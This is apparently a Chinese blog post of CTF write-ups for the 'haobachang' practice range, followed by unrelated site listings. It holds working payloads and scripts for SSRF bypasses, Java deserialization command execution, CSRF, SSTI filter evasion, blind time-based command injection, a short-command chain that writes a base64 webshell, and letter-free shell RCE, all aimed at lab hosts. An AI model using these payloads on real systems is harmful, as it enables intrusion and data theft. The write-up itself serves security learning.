news 2026/5/25 13:08:09

在好靶场的WEB海洋遨游

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
在好靶场的WEB海洋遨游

某天,突然感到一阵阵空虚,然后伴随一阵眩晕感,我来到了web的沙滩。慢慢的向前走,出来了一道道题目...

赞颂好靶场,免费送了我高级会员

入门-走到了岸边

最简单的PHP-SSRF

给了源码,发现只过滤127.0.0.1

根据题目描述flag在tmp路径下面,可以考虑file协议

修改数据包才可以拿到答案

进去是一个成绩查询系统

提示让查询qiansanyi的成绩

前端禁查询这个人成绩,那我们改数据包直接往后端发不就好了

Flag在返回包里

首页有一个点我刷新,点击之后返回包就是flag

做一个白帽子

这个是一个福利题,我输入经典弱口令admin/123456点进去点击提交漏洞即可

入门弱口令靶场

弱口令爆破

密码就是admin

初级Java反序列化

题目给了jar包,暂时不知道怎么看对应的路由关系

这里重写了readObject方法:

是从post解码并且反序列一个文件

需要构造一个 ExploitPayload 对象,设置 command 字段,然后序列化成字节 → Base64 → 发送。

需要注意传送的得是text/plain base64

用反射的方式生成序列化后的东西

import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) throws Exception { // 在这里修改你要执行的命令 String command = "cat /tmp/flag.txt"; // ←←← 可以改成 id、whoami 等 // 创建 ExploitPayload 对象 Class<?> clazz = Class.forName("com.ctf.readobject_demo.ExploitPayload"); Object payload = clazz.getDeclaredConstructor().newInstance(); // 反射设置 command 字段 Field field = clazz.getDeclaredField("command"); field.setAccessible(true); field.set(payload, command); // 序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(payload); } // 转 Base64 String base64 = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println("=== Payload Base64 ==="); System.out.println(base64); } }

SSRF不允许使用File协议了1

可以大写绕过

SSRF-请尝试绕过、SSRF不允许使用File协议了2

file:后加一个空格绕过即可

入门CSRF

页面存在一个给admin留言,怀疑这里存在XSS,可以窃取管理员cookie

页面还存在一个转账功能点

注意看数据包构造,我们想办法把这个作为恶意链接给admin留言试一试

构造恶意payload:<img src="http://xvcunc0.haobachang1.loveli.com.cn:8888/transfer.php?to_user=user&amount=11">

然后就能愉快接受转账了

渐渐往水中走去

sad_bottle

这提供了一个预览文件的功能点

程序这里的代码通过检测解压后的文件绝对路径开头是否变化,拒绝了目录遍历攻击:

这里的路由刚开始猜测是否存在SSRF的功能点,但是发现做了很好的过滤,暂时没找到方法绕过它的攻击

虽然没找到SSRF漏洞,但是还是找到了一个ssti点:
这里的template是bottle库的一个模板点。这里过滤的十分严格(黑名单如下):

一共26个字母,就flag没有被过滤。然后一些特殊符号也被过滤了

现在我们试着生成探测点:{{7*7}}看看是否存在利用点

参考这个

好靶场sad_bottle wp - wenject的小屋

新学到两个绕过思路

1.unicode特殊编码绕过,只针对函数才行,python解释器能识别这样的字符,但是to_lower函数不可以

2./NNN进制编码绕过(因为题目没有过滤数字)

payload就是open.read这样的构造。写一个脚本进行生成payload,然后压缩上传即可

exp:

def trans(a): result='' for i in a: if ord('a')<=ord(i)<=ord('z'): result+=chr(0x1D622+ord(i)-ord('a')) else: result+=i return result def trans_path(a): result='' for i in a: result+=f"\\{ord(i):03o}" return result print( trans("open")+ "('"+ trans_path("/tmp/flag.txt")+ "')."+ trans("read"+"()"))

Flask-SSTI

get参数是一个ssti

下策是fenjing一把梭

如果纯手工测试的话,还是要先想办法找到可利用的点

先执行:

"".__class__

然后执行

{{"".__class__.__base__}}

这个没怎么过滤,方便我们利用了

执行

"".__class__.__bases__[0].__subclasses__()

然后慢慢找就行了。找到可利用的类的顺序

水果忍者

这暴露了敏感接口,直接访问就可以得到flag

欢迎你加入信息安全社团

第一关;看源码得到smx1:FLAG_PART1

然后我们看源码进入第二关

看提示估计是要改cookie

改完之后得到:shetuan:FLAG_PART2

和下一关地址

看了wp才知道这里需要目录扫描了

发现一个配置文件:/nginx.conf

还有robot.txt

sansan4:FLAG_PART4

然后是一个简单的考正则的

第一个意思是多行匹配php,第二个是整个字符串匹配

那也就是说构造一个二行的字符串即可

payload:%0aphp

获得

jiujiu5:FLAG_PART5

qiyue6.php

我们将这个按钮F12取消disabled即可

然后得到

qiyue6:FLAG_PART6

下一关:lihao7.php

这个php是空白页面

抓包看看是不是错过了什么信息,提示说这是一个蚁剑页面

看wp说密码是shell,可能是一个弱口令??

然后拿到shell看flag即可

一些RCE的,只写有点难度的了

命令执行漏洞盲打

因为靶机不出网,无法反弹shell和dnslog外带数据

这里利用sql盲注的思路,利用"sleep"进行猜测,假如爆到正确字符,就进行sleep

请求的数据包是去execute接口

请求体:

{"command":"1"}

以下是python脚本:也可以用burp

import requests import time url = "http://yfagp6f.haobachang1.loveli.com.cn:8888/execute" chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{}" flag = "flag{" def single_attack(payload): try: t1 = time.time() requests.post(url, json=payload,timeout=5) t2 = time.time() return t2 - t1 > 1.5 except: return False print("-----running------") while True: for c in chars: test=flag+c cmd = f"127.0.0.1&&grep -q '^{test}' /tmp/flag.txt&&sleep 2" payload = {"command": cmd} if single_attack(payload): flag+=c print(flag) find=True break if flag.endswith("}"): print("find!flag is "+flag) break

只允许你输入7个字符,你还能执行你想要的命令吗

这个思路是

1.>后面跟字符是直接创建了这个文件。名称就是后面的字符

2.sh后面跟一个命令(哪怕是txt只要内容是命令)就会被执行

3.ls -t是可以按照时间顺序,新创建的在前面进行输出所有文件

那也就是说 我们可以用这个思路,进行多次写入字符,即可达到攻击效果

写一个脚本发送payload

import requests import time url = "http://c4ayq4x.haobachang2.loveli.com.cn:8888/" chars = r""" >hp >1.p\ >d\>\ >\ -\ >e64\ >bas\ >\|\ >z8+\ >0pO\ >xJ1\ >Wyc\ >1NU\ >9QT\ >oJF\ >YWw\ >GV2\ >AgQ\ >waH\ >PD9\ >o\ \ >ech\ ls -t>0 sh 0 """ def single_attack(payload): print(payload,end="\n") requests.post(url, data=payload,timeout=5) print("-----running------") for i in chars.splitlines(): if not i: continue temp = i payload={"command":temp} single_attack(payload) print("-------over------")

然后我们蚁剑连接即可

小小游个泳

哎,这是什么,又一个博客系统

发现一个download的api,怀疑是任意文件下载

首先尝试file:///协议可能出现无限重复URL。后来改为../../../成功!

可以任意文件下载,即可下载flag.txt

哎,这是什么,又一个博客系统2

直接点进去发现上次的任意文件下载好像加密了一下 可惜密钥和iv都给了

经过测试就是AES。相同密钥加密之后再进行base64和URL加密即可:

Sherry Protocol

看到主页的提示,应该是需要将这几页的数字加一块,服务器就会返回一个flag了:

抓包看到的数据返回的是乱码,因此猜测js文件进行了加密操作

因为这是采用了IIFE 闭包模块化,我们调用的时候加上ProtoClient前缀,就跟俗称的类和对象差不多,此外,这里面直接定义了解码和编码请求包的函数,还有一个函数专门用于请求数据,因此我们可以不用那么麻烦写脚本了。考虑是写一些脚本控制台运行

同时这是一个异步函数,因此前面要先加上await

我们看一下返回包,只需要把这个数组的加和一下即可:

由此看来这个题也可以爆破,但是得爆破到猴年马月了。

把这个放在控制台运行即可:

var sum = 0; for (var i = 1; i <= 20; i++) { let numbers = (await ProtoClient.fetchPage(i)).numbers; for (var j = 0; j < 10; j++) { sum += numbers[j]; } } console.log(sum);

Vue路由守卫绕过

vue前端搜索api看到下面的:

访问/Dashboard_haobchang123即可拿到flag

哦豁,你不能输入字母了

RCE但是不允许输入字母和数字

参考RCE篇之无数字字母rce | Arsene.Tang

这个是php里面的思路。

这时候我们用$""来执行命令。默认/NNN是八进制。16进制因为有字母x所以不可以

这时候我们需要分割一下:

  1. $'\143\141\164'$IFS$'\057\164\155\160\057\146\154\141\147\056\164\170\164'

不然会整个被当作一个字符串

最终payload:
$'\143\141\164'<$'\057\164\155\160\057\146\154\141\147\056\164\170\164'

数字0的奇迹

提示命令中不允许出现英文字母或数字1-9

那也就是说只能出现0

这里需要介绍一个命令叫做$0,意思是当前的shell

我们配合通配符即可

payload:$0 /???/????.???

只允许你输入5个字符,你还能执行你想要的命令吗

可以参考那个7字符的

无字母无数字2

./脚本 表示“当前目录下执行可执行文件(新进程)”。

. /脚本 表示“在当前 shell 中source /脚本”。因此是 source 的语法。

因此使用?号来代替/tmp/flag.txt 字符

. /???/????.???

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/25 13:07:00

10分钟掌握Nintendo Switch游戏备份:nxdumptool完全指南

10分钟掌握Nintendo Switch游戏备份&#xff1a;nxdumptool完全指南 【免费下载链接】nxdumptool Generates XCI/NSP/HFS0/ExeFS/RomFS/Certificate/Ticket dumps from Nintendo Switch gamecards and installed SD/eMMC titles. 项目地址: https://gitcode.com/gh_mirrors/n…

作者头像 李华
网站建设 2026/5/25 13:05:04

48Tools终极指南:一站式多平台直播录制与视频下载工具

48Tools终极指南&#xff1a;一站式多平台直播录制与视频下载工具 【免费下载链接】48tools 48工具&#xff0c;提供公演、口袋48直播录源&#xff0c;公演、口袋48录播下载&#xff0c;封面下载&#xff0c;B站直播抓取&#xff0c;B站视频下载&#xff0c;A站直播抓取&#x…

作者头像 李华
网站建设 2026/5/25 13:02:45

基于孪生卷积神经网络的星系团速度图相似性度量与匹配

1. 项目概述&#xff1a;当机器学习遇见星系团动力学在宇宙学研究中&#xff0c;星系团是宇宙中最大尺度的引力束缚结构&#xff0c;其内部的星系团内介质&#xff08;ICM&#xff09;是一团炽热、稀薄的等离子体。ICM的动力学状态&#xff0c;比如气体的湍流、整体流动和“晃动…

作者头像 李华
网站建设 2026/5/25 13:02:08

BME280传感器扩展板设计:兼容I2C/SPI接口与可配置电源方案详解

1. 项目概述&#xff1a;BME280传感器扩展板的设计与实现在嵌入式开发和物联网项目中&#xff0c;环境传感器是感知物理世界的基础。Bosch Sensortec的BME280是一款集成了温度、湿度和气压测量的高精度环境传感器&#xff0c;因其体积小巧、功耗低、精度高而广受欢迎。然而&…

作者头像 李华